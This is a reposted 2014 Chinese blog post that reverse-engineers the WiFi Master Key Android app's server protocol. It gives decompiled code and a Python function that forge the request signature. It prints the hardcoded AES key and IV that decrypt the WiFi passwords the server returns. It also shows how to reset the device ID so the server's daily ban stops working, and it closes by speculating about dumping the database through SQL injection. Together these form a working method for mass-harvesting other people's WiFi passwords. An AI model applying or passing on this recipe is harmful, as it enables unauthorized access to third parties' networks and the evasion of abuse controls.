转:https://my.oschina.net/auo/blog/338168
WIFI万能钥匙协议分析
作者:enimey
时间:2014.10.28
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前段时间实验室需求,分析过WIFI万能钥匙的原理,现在空了写个博客记录下。
版本:2.9.38(不是最新版)
操作系统:Android
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通过真实使用该软件后,可以得到一个初步的猜测,点击一键查询万能钥匙,该软件会收集附近WIFI热点相关信息
,并上传到服务器,服务器在数据库中进行相关查询,然后将查询结果返回。还有一个功能是本地字典破解。
我们这里只研究第一种。
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首先进行抓包分析,如何抓手机包这里就不介绍了,百度、谷歌都可以解决。点击一键查询万能钥匙后,
抓包结果如下(部分敏感信息我进行了人为修改):
发送包:
POST /wifiapi/faNaNd HTTP/1.1
Content-Length: 736
Content-Type: application/x-www-form-urlencoded
Host: wifiapi02.51y5.net
Connection: Keep-Alive
och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd%3Acommonswitch&mac=13%3A68%3A3f%3A86%3Acc%3Ab8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4%2C14%3Ae6%3Ae4%3A88%3A44%3A7c%2C00%3A87%3A36%3A00%3Aed%3A80%2C38%3A59%3Af9%3Ae3%3Aaa%3Af7%2C0a%3Aa3%3Ac4%3Ac0%3Acc%3A1d%2C16%3Ae5%3A43%3Aba%3A52%3A67%2Ce6%3Ad3%3A32%3A06%3Ae1%3A31%2C88%3A53%3A2e%3Ad0%3Ad1%3Abd%2Cd8%3A24%3Abd%3A76%3A60%3Aaa%2C&v=508&ssid=test%2C518%2C%E4%B8%80%E5%8F%B6%E7%9F%A5%E7%A7%8B%2C%E5%8D%A7%E6%A7%BD%EF%BC%8C%E5%B1%85%E7%84%B6%E6%9C%89WiFi%2CATY-PC%2Cuuuuuu%2CTP-LINK_517%2C360WiFi-0009%2Ccisco-60A8%2C&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147
url解码后:
och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd:commonswitch&mac=12:68:3f:86:cc:b8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa,&v=508&ssid=test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8,&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147
返回包:
{
"retSn": "446c7c3434754f57b54935a5ea8cb173",
"qryapwd": {
"retCd": "0",
"psws": {
"d8:24:bd:76:60:aa": {
"bssid": "d8:24:bd:76:60:aa",
"pwd": "4924364E06341F06F90F3BD86C7DDBCE98A24FCE8457589BB0D89CB103157EB0",
"hid": "A7C2DEC47A6594251B6329AE48A9B6BF",
"xJs": "",
"ssid": "cisco-60A8",
"xUser": "",
"type": "internet",
"xPwd": "",
"securityLevel": "2"
},
"14:e6:e4:88:44:7c": {
"bssid": "14:e6:e4:88:44:7c",
"pwd": "108C505B25B2D8FB2CC4E749A13F0D29FE94164E427BC27E6DECB5F943959188",
"hid": "346C68D54F9219A2CDA1549323BD3A3A",
"xJs": "",
"ssid": "518",
"xUser": "",
"type": "internet",
"xPwd": "",
"securityLevel": "2"
}
},
"topn": {
"e6:d3:32:06:e1:31TP-LINK_517": 50,
"38:59:f9:e3:aa:f7..................WiFi": 10,
"48:d2:24:5d:e2:e4test": 0,
"16:e5:43:ba:52:67uuuuuu": 0,
"d8:24:bd:76:60:aacisco-60A8": 0,
"88:53:2e:d0:d1:bd360WiFi-0009": 0,
"00:87:36:00:ed:80............": 0,
"14:e6:e4:88:44:7c518": 0,
"0a:a3:c4:c0:cc:1dATY-PC": 0
},
"qid": "446c7c34-3475-4f57-b549-35a5ea8cb173"
},
"retCd": "0",
"commonswitch": {
"retCd": "0",
"switchFlag": "false"
}
}
很明显,客户端一个POST请求(POST内容包括了WIFI相关热点信息、本机信息、命令信息、版本信息等),
服务器返回的数据里就包含了加密过后的WIFI密码(pwd字段);
通过多次抓包对比,POST数据字段的特点如下:
och:guanwang //固定不变
ii:355136033391516 //手机识别码
appid:0001 //固定不变
pid:qryapwd:commonswitch /类别字段
mac:12:68:3f:86:cc:b8 //本机mac地址
lang:cn //语言字段
sign : 881FF8FB34BF53A8C598147BC2668215 //签名字段?
bssid:
48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,
16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa, //WIFI热点mac地址
v:508//版本字段
ssid:test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8, //WIFI热点ssid
method:getSecurityCheckSwitch //命令字段
uhid:a0000000000000000000000000000001 //固定字段
st:m //固定字段
chanid:guanwang //固定字段
dhid:40289ec14942672d014954ad909a1147 //设备字段?
尝试用python重发该POST,服务器返回如下:
{'retCd': '-1111', 'retMsg': '商户数字签名错误,请联系请求发起方!', 'retSn': '50523aa899974790b8867d052a942805'}
所以,很明显sign字段值错误,需要逆向该APK找到sign字段值的生成算法。
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反编译该APK,全局搜索字符串“sign“,结合method profiling,定位到关键代码:
com/snda/wifilocating/e/u中的函数public static final JSONObject a(String arg14, Map arg15):
public static final JSONObject a(String arg14, Map arg15) {
HashMap v8_1;
String v1_6;
JSONObject v2_6;
Exception v13_1;
long v6;
JSONObject v1_2;
JSONObject v4_4;
int v2_2;
String v4_3;
SocketTimeoutException v2_3;
String v13;
int v3_1;
String v5_1;
Exception v2_4;
String v3;
long v9;
JSONObject v0_1;
String v0;
GlobalApplication v1 = GlobalApplication.a();
if(!arg15.get("pid").equals("initdev:commonswitch") && !arg15.get("pid").equals("binddownload")
&& !v1.b().f()) {
new StringBuilder("no dhid for pid:").append(arg15.get("pid")).toString();
v0 = ak.a();
if(TextUtils.isEmpty(((CharSequence)v0))) {
v0_1 = null;
return v0_1;
}
else if(!v1.b().g(v0)) {
HashMap v2 = new HashMap();
v2.put("dhid", v0);
ak.a("fndhid", "writedhidtoprefsfail_" + arg15.get("pid"), v2);
}
}
HashMap v7 = ak.e();
v0 = aw.j();
if(TextUtils.isEmpty(((CharSequence)v0))) {
v0 = aw.r();
}
String v2_1 = "mac";
if(TextUtils.isEmpty(((CharSequence)v0))) {
v0 = "";
}
((Map)v7).put(v2_1, v0);
((Map)v7).put("ii", v1.c());
((Map)v7).put("dhid", v1.b().a());
if(!arg15.get("pid").equals("vwoasid")) {
((Map)v7).put("uhid", v1.b().c());
}
if(arg15 != null) {
((Map)v7).putAll(arg15);
}
Object v0_2 = ((Map)v7).get("pid");
if((((String)v0_2).equals("shareap")) || (((String)v0_2).startsWith("qryapwd")) || (((String)
v0_2).startsWith("qryapwdwithvcd"))) {
((Map)v7).put("sign", ae.a(((Map)v7), GlobalApplication.a().b().S())); //sign的生成算法
}
else {
((Map)v7).put("sign", ae.a(((Map)v7), l.c));
}
.......
定位到ae.a函数(参数arg5为POST内容的map表,参数arg6为服务器返回的retSn字段值):
public static String a(Map arg5, String arg6) {
new StringBuilder("---------------key of md5:").append(arg6).toString();
Object[] v2 = arg5.keySet().toArray();
Arrays.sort(v2);
StringBuilder v3 = new StringBuilder();
int v4 = v2.length;
int v1 = 0;
label_11:
if(v1 < v4) {
v3.append(arg5.get(v2[v1]));
++v1;
goto label_11;
}
v3.append(arg6);
return ae.a(v3.toString()).toUpperCase();
}
public static final String a(String arg7) {
String v0_2;
try {
byte[] v2 = MessageDigest.getInstance("MD5").digest(arg7.getBytes("utf-8"));
StringBuffer v0_1 = new StringBuffer();
int v1;
for(v1 = 0; v1 < v2.length; ++v1) {
String v3 = Integer.toHexString(v2[v1] & 255);
v0_1 = v3.length() == 1 ? v0_1.append("0").append(v3) : v0_1.append(v3);
}
v0_2 = v0_1.toString();
}
catch(Exception v0) {
v0.printStackTrace();
v0_2 = "";
}
return v0_2;
}
从而得出sign的算法为:客户端首先构造POST内容的map表,并按照键sort排序后,将值连接成字符串1,
最后与服务器返回的retSn字段值连接为字符串2,取字符串2的md5值并转换为全大写字母,这样就得到了sign值。python3代码为:
def getSign(data, retSn) :
if 'sign' in data :
del(data['sign'])
sign = ''
keyList = sorted(list(data.keys()))
for i in range(len(keyList)) :
sign += data[keyList[i]]
sign += retSn
sign = hashlib.md5(sign.encode('utf-8')).hexdigest().upper()
print(sign)
return sign
解决了sign字段后,服务器成功返回了正确的数据,但是返回的pwd是加密过后的,我们还需要解密。
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同样,反编译该APK,全局搜索字符串“dofinal”,结合method profiling,定位到关键代码
com/snda/wifilocating/f/a中的函数public final String b(String arg7):
public final String b(String arg7) { //参数arg7为加密过后的pwd,函数返回值即为解密过后的pwd
byte[] v1_1;
byte[] v0_2;
int v5 = 2;
String v0 = null;
if(!aq.a(arg7)) {
try {
this.c.init(2, this.b, this.a); //this.b为SecretKeySpec;this.a为IvParameterSpec
Cipher v2 = this.c;
if(arg7 != null && arg7.length() >= v5) {
int v3 = arg7.length() / 2;
v0_2 = new byte[v3];
int v1 = 0;
label_21:
if(v1 >= v3) {
goto label_12;
}
v0_2[v1] = ((byte)Integer.parseInt(arg7.substring(v1 * 2, v1 * 2 + 2), 16));
++v1;
goto label_21;
}
label_12:
v1_1 = v2.doFinal(v0_2);
}
catch(Exception v0_1) {
throw new Exception("[decrypt] " + v0_1.getMessage());
}
v0 = new String(v1_1);
}
return v0;
}
通过smali注入,得知this.b和this.a的值为固定值:
this.b = "jh16@`~78vLsvpos";
this.a = "j#bd0@vp0sj!3jnv";
这里就是一个简单的aes解密函数,其中IV = “j#bd0@vp0sj!3jnv”,KEY="jh16@`~78vLsvpos",
填充方式为"AES/CBC/NoPadding",解密函数的实现请参照上面贴出的代码,我用python3写的解密失败,
只能用java解密,好像是python3和java的AES加解密方式不同的原因,知道的请告知解决办法,贴上我的python3解密代码(未成功):
def getPwd(pwd) :
key = 'jh16@`~78vLsvpos'
iv = 'j#bd0@vp0sj!3jnv'
# iv = pwd[:16]
# unpad = lambda s : s[0:-ord(s[-1])]
cipher = AES.new(key, AES.MODE_CBC, iv)
pwd = (cipher.decrypt(pwd)).decode('utf-8')
print(pwd)
另外,java解密出来的数据,只有中间一部分是密码,头尾貌似是填充。
这样,我们就基本能够实现模拟POST请求,且获得明文密码。然而,当你一天之内,多次请求的时候,服务器会将你屏蔽掉,
只有第二天才能继续请求。那么服务器是如何确定是你在请求呢?
通过多次测试,修改ii、mac、bssid、ssid均无效,换本机ip也无效,那么就只剩下字段dhid了。
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该文件的相关配置信息是存放在/data/data/com.snda.wifilocating/shared_prefs/com.snda.wifilocating_preferences.xml文件中的,
其中存放了dhid的值,而通过测试,当该APK第一次启动完毕后,该字段的值就存在了,并且一直保持不变,通过阅读相关源代码,
发现dhid的值和retSn一样是从服务器返回的。清空程序数据,重新启动该APK,同时进行抓包,抓包结果如下:
发送包:
POST /wifiapi/faNaNd HTTP/1.1
Content-Length: 452
Content-Type: application/x-www-form-urlencoded
Host: wifiapi02.51y5.net
Connection: Keep-Alive
capbssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4&model=Nexus+4&och=guanwang&appid=0001&mac=10%3A68%3A3f%3A86%3Acc%3Ab8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052391516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev%3Acommonswitch&misc=google%2Foccam%2Fmako%3A4.4.4%2FKTU84P%2F1227136%3Auser%2Frelease-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184
url解码后:
capbssid=48:d2:24:5d:e2:e4&model=Nexus+4&och=guanwang&appid=0001&mac=10:68:3f:86:cc:b8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052333516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev:commonswitch&misc=google/occam/mako:4.4.4/KTU84P/1227136:user/release-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184
返回包:
{
"initdev": {
"retCd": "0",
"dhid": "ff80808149559760014955ca2d901135"
},
"retCd": "0",
"commonswitch": {
"retCd": "0",
"switchFlag": "true"
}
}
这样,当服务器封掉我们的时候,只需要再构造一个initdhid的包发送给服务器,用服务器返回的新的dhid替换我们之前的dhid既可解封。
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通过刚才的分析,我们完全可以自己构造POST包不断向WIFI万能钥匙服务器获取明文形式的WIFI密码,并且不会被服务器封掉。
PS:如果不断的做请求,算不算一种脱库的方式呢。话说WIFI万能钥匙的数据库才用了Hibernate,能不能sql注入呢?